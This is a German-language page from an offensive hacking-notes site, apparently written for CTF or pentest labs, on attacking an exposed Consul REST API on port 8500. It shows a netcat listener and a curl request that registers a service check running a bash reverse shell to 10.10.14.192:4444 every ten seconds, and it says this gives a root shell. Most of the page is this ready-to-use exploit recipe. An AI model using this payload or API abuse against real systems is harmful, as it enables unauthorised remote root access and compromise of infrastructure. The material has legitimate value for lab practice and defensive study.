> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/consul-8500.md).

# Consul - 8500

Consul-REST-API-Exposure und bösartige Registrierung eines Service-Checks für die Ausführung einer Reverse Shell.

### Entdeckung von Port 8500 (Consul)

Port **8500** stellt die Consul-Weboberfläche bereit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

Nach dem Abfragen `127.0.0.1:8500/ui/`, Consul-Version **1.19.2** wird gefunden.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Überprüfung des Zugriffs auf die REST-API

Prüfen, ob die REST-API von Consul ohne Authentifizierung erreichbar ist:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Die Antwort bestätigt, dass die API exponiert ist.

### Ausnutzung über einen bösartigen Check

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registriere einen Dienst mit einem bösartigen Check, der eine Bash-Reverse-Shell ausführt:

```bash
nc -lvnp 4444
```

#### Registrierung eines Dienstes mit einem bösartigen Check

Consul erlaubt die dynamische Dienstregistrierung über HTTP-Anfragen. Missbrauche dieses Verhalten, um einen Check zu erstellen, der einen Bash-Befehl ausführt.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Verhalten der Nutzlast:

* `Check.Args[]`: enthält einen Bash-Befehl, der eine **Reverse Shell**.
* `Intervall`: legt eine automatische Ausführung alle 10 Sekunden fest.

Das Ausführen dieser Nutzlast verschafft eine Root-Shell.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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